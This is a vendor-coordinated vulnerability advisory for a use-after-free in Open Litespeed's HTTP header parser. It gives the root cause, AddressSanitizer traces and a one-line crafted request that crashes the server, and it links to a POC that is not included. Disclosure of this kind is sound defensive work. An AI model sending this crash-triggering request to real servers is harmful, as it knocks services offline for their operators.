security-assessment.com

Vulnerability Advisory

Name	Open Litespeed Use After Free Vulnerability
Vendor Website	www.litespeedtech.com
Affected Software	Open Litespeed <= 1.3.9
Date Released	14/04/2015
Researchers	Denis Andzakovic

Description

This document details a use after free vulnerability found within the Open Litespeed web server software 1.3.9 and earlier. A use after free vulnerability was discovered within the header parser of the web server. This vulnerability can be successfully exploited to trigger an out of bounds memory read, resulting in a segmentation fault crashing the web server.

Exploitation

By sending a crafted request, an attacker may trigger an out-of-bounds memory read, resulting in a segmentation fault and server crash. This is due to a portion of memory being referenced by the application after being freed.

The second parameter (p) to the memmove() call (line 741, httpreq.cpp) within the HttpReq::newKeyValueBuf method results in an out of bounds memory read when attacker submits a crafted HTTP request. This is due to the portion of memory the ‘p’ parameter resides in being freed by a realloc() call. The reallocation is performed by the allocate() method of the AutoBuf class. This is triggered by the call to AutoBuf’s grow() method within the newKeyValueBuf method (line 736, httpreq.cpp).

The following address sanitizer dump details the specific location of the use after free:

Address Sanitizer Output

```
AddressSanitizer: heap-use-after-free on address 0xb520c078 at pc 0x081674b2 bp 0xbfc26688 sp 0xbfc26264
READ of size 488 at 0xb520c078 thread T0
    #0 0x81674b1 in __asan_memmove src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:471:3
    #1 0x8214c72 in HttpReq::newKeyValueBuf(int&) targets/openlitespeed-
1.3.7/src/http/httpreq.cpp:741:13
    #2 0x821ee4a in HttpReq::newUnknownHeader() targets/openlitespeed-1.3.7/src/http/./httpreq.h:201:16
    #3 0x8212aab in HttpReq::processHeaderLines() targets/openlitespeed-
1.3.7/src/http/httpreq.cpp:539:30
    #4 0x821205d in HttpReq::processHeader() targets/openlitespeed-1.3.7/src/http/httpreq.cpp:200:19
    #5 0x8223b3f in HttpSession::readToHeaderBuf() targets/openlitespeed-
1.3.7/src/http/httpsession.cpp:621:23
    #6 0x8226153 in HttpSession::onReadEx() targets/openlitespeed-1.3.7/src/http/httpsession.cpp:1655:15
    #7 0x82262c3 in non-virtual thunk to HttpSession::onReadEx() targets/openlitespeed-
1.3.7/src/http/httpsession.cpp:1640:18
    #8 0x820775e in NtwkIOLink::onRead(NtwkIOLink*) targets/openlitespeed-
1.3.7/src/http/ntwkiolink.cpp:782:16
    #9 0x8205588 in NtwkIOLink::handleEvents(short) targets/openlitespeed-
1.3.7/src/http/ntwkiolink.cpp:347:9
    #10 0x820586b in non-virtual thunk to NtwkIOLink::handleEvents(short) targets/openlitespeed-
1.3.7/src/http/ntwkiolink.cpp:319:17
    #11 0x82e6d44 in epoll::waitAndProcessEvents(int) targets/openlitespeed-
1.3.7/src/edio/epoll.cpp:191:13
    #12 0x81f173c in EventDispatcher::run() targets/openlitespeed-
1.3.7/src/http/eventdispatcher.cpp:220:15
    #13 0x81afeac in HttpServerImpl::start() targets/openlitespeed-1.3.7/src/main/httpserver.cpp:404:5
    #14 0x81ba524 in HttpServer::start() targets/openlitespeed-1.3.7/src/main/httpserver.cpp:3168:12
    #15 0x81abaad in LshttpdMain::main(int, char**) targets/openlitespeed-
1.3.7/src/main/lshttpdmain.cpp:934:9
```

```
    #16 0x81a63f3 in main targets/openlitespeed-1.3.7/src/main.cpp:109:15
    #17 0xb7130a62 in __libc_start_main (/lib/i386-linux-gnu/i686/cmov/libc.so.6+0x19a62)
    #18 0x80e6f7d in _start (/usr/local/lsws/bin/openlitespeed+0x80e6f7d)

0xb520c078 is located 504 bytes inside of 1024-byte region [0xb520be80,0xb520c280)
freed by thread T0 here:
    #0 0x8182de3 in realloc src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:61:3
    #1 0x830d30b in AutoBuf::allocate(int) targets/openlitespeed-1.3.7/src/util/autobuf.cpp:42:20
    #2 0x830d4fe in AutoBuf::grow(int) targets/openlitespeed-1.3.7/src/util/autobuf.cpp:63:12
    #3 0x8214c2f in HttpReq::newKeyValueBuf(int&) targets/openlitespeed-
1.3.7/src/http/httpreq.cpp:736:18
    #4 0x821ee4a in HttpReq::newUnknownHeader() targets/openlitespeed-1.3.7/src/http/./httpreq.h:201:16
    #5 0x8212aab in HttpReq::processHeaderLines() targets/openlitespeed-
1.3.7/src/http/httpreq.cpp:539:30
    #6 0x821205d in HttpReq::processHeader() targets/openlitespeed-1.3.7/src/http/httpreq.cpp:200:19
    #7 0x8223b3f in HttpSession::readToHeaderBuf() targets/openlitespeed-
1.3.7/src/http/httpsession.cpp:621:23
    #8 0x8226153 in HttpSession::onReadEx() targets/openlitespeed-1.3.7/src/http/httpsession.cpp:1655:15
    #9 0x82262c3 in non-virtual thunk to HttpSession::onReadEx() targets/openlitespeed-
1.3.7/src/http/httpsession.cpp:1640:18
    #10 0x820775e in NtwkIOLink::onRead(NtwkIOLink*) targets/openlitespeed-
1.3.7/src/http/ntwkiolink.cpp:782:16
    #11 0x8205588 in NtwkIOLink::handleEvents(short) targets/openlitespeed-
1.3.7/src/http/ntwkiolink.cpp:347:9
    #12 0x820586b in non-virtual thunk to NtwkIOLink::handleEvents(short) targets/openlitespeed-
1.3.7/src/http/ntwkiolink.cpp:319:17
    #13 0x82e6d44 in epoll::waitAndProcessEvents(int) targets/openlitespeed-
1.3.7/src/edio/epoll.cpp:191:13
    #14 0x81f173c in EventDispatcher::run() targets/openlitespeed-
1.3.7/src/http/eventdispatcher.cpp:220:15
    #15 0x81afeac in HttpServerImpl::start() targets/openlitespeed-1.3.7/src/main/httpserver.cpp:404:5
    #16 0x81ba524 in HttpServer::start() targets/openlitespeed-1.3.7/src/main/httpserver.cpp:3168:12
    #17 0x81abaad in LshttpdMain::main(int, char**) targets/openlitespeed-
1.3.7/src/main/lshttpdmain.cpp:934:9
    #18 0x81a63f3 in main targets/openlitespeed-1.3.7/src/main.cpp:109:15
    #19 0xb7130a62 in __libc_start_main (/lib/i386-linux-gnu/i686/cmov/libc.so.6+0x19a62)

previously allocated by thread T0 here:
    #0 0x8182de3 in realloc src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:61:3
    #1 0x830d30b in AutoBuf::allocate(int) targets/openlitespeed-1.3.7/src/util/autobuf.cpp:42:20
    #2 0x82119a1 in HttpReq::HttpReq() targets/openlitespeed-1.3.7/src/http/httpreq.cpp:100:7
    #3 0x822011c in HttpSession::HttpSession() targets/openlitespeed-
1.3.7/src/http/httpsession.cpp:77:14
    #4 0x8202b5d in ObjPool<HttpSession>::newObj() targets/openlitespeed-
1.3.7/src/http/../../src/util/objpool.h:122:20
    #5 0x82fc146 in GObjPool::allocate(int) targets/openlitespeed-1.3.7/src/util/objpool.cpp:36:27
    #6 0x8202351 in ObjPool<HttpSession>::ObjPool(int, int) targets/openlitespeed-
1.3.7/src/http/../../src/util/objpool.h:134:13
    #7 0x8201dd3 in HttpResourceManager::HttpResourceManager() targets/openlitespeed-
1.3.7/src/http/httpresourcemanager.cpp:36:7
    #8 0x80e5cbe in __cxx_global_var_init128 targets/openlitespeed-1.3.7/src/http/httpglobals.cpp:291:37
```

The following table details the malicious request:

Tampered HTTP Request
GET / HTTP/1.0 a: a {a:a repeated 91 times}

POC exploit code can be found at http://www.security-assessment.com/files/documents/advisory/openlitespeed-1.3.9-UAF-DOS.c

Solution

Update to the latest version of Open Litespeed.

Timeline

26/03/2015 – Advisory sent to Litespeed.
27/03/2015 – Response from Litespeed stating the vulnerability will be fixed in the next release of Open Litespeed.
10/04/2015 – Open Litespeed 1.3.10 released
14/04/2015 – Advisory released.

Responsible Disclosure Policy

Security-Assessment.com follow a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 470 1650